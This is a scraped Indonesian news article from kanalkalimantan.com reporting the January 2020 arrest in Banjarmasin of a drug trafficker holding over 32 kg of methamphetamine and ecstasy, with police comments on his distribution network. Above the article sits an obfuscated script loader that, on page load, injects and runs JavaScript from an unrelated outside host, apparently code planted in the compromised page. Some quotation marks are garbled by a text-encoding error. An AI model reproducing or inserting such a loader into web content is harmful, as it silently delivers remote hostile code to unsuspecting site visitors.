(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN –  Gembong narkoba NZA yang ditangkap polisi menyimpan 32 Kg sabu beserta ekstasi di Banjarmasin, ternyata sudah diendus polisi sejak tahun 2018 silam.
Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto saat gelar di mapolda Kalsel Senin (20/1/2020) mengatakan, pihaknya sempat mencium keberadaan peredaran narkoba ini di akhir tahun 2018. Saat itu, Sat Resnarkoba Polresta Banjarmasin mengungkap peredaran narkoba pada Desember 2018 sebanyak 12 kilogram.
Tersangka NAZ ini telah aktif mengedarkan narkoba jenis sabu sejak tahun 2018. Saat itu, tersangka berhasil mengedarkan 212 kilogram narkoba selama satu tahun.
“Kemudian di tahun 2019 sebanyak 389 kilogram. Jadi kalau ditotal sebanyak 600 kilogram lebih, setengah ton lebih,†ungkap Kombes Wisnu.
Kombes Wisnu mengakui, tangkapan kali ini merupakan yang terbesar sepanjang berdirinya Polda Kalsel. Di Kalsel sendiri, peredarannya cukup luas, dari wilayah Banua Anam hingga ke Kalteng dan Kaltim.
Baca juga: Bongkar Jaringan Internasional, 32 Kg Sabu Milik NAZ Ditemukan di Gudang Narkoba
Diakuinya, dari hasil pengungkapan narkoba yang ditangani Dit Resnarkoba Polda Kalsel selama 2018 hingga 2019 hanya 10 persen. Tersangka sendiri merupakan penyimpan alias “gudang” di mana masih ada atasan tersangka sebagai pengendali peredaran narkoba. Diduga, narkoba yang selama ini diedarkan melewati jalur laut, dengan rute Malaysia-Sumatera-Jawa Timur hingga ke Kalimantan.
“Dari gudang tinggal menunggu dan menerima perintah saja dan barang diambil oleh si A misalnya. Ada yang mengambil lagi, ada kurir yang datang dan diedarkan langsung,†tambahnya.
Terungkapnya gembong narkoba NAZ yang diduga menjadi ‘agen’ besar di Kalsel, diamankan oleh jajaran Dit Resnarkoba Polda Kalsel pada Sabtu (18/1/2020), di dua tempat yang berbeda. Pertama di Jalan Pembangunan II, di mana terungkap adanya transaksi narkoba, dan dari hasil pengembangan, kepolisian berhasil mengamankan sedikitnya 32,615 kilogram sabu-sabu dan ekstasi dari sebuah rumah di Jalan Rawasari VII Blok D nomor 4 Kelurahan Teluk Dalam, Banjarmasin. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
This website uses cookies.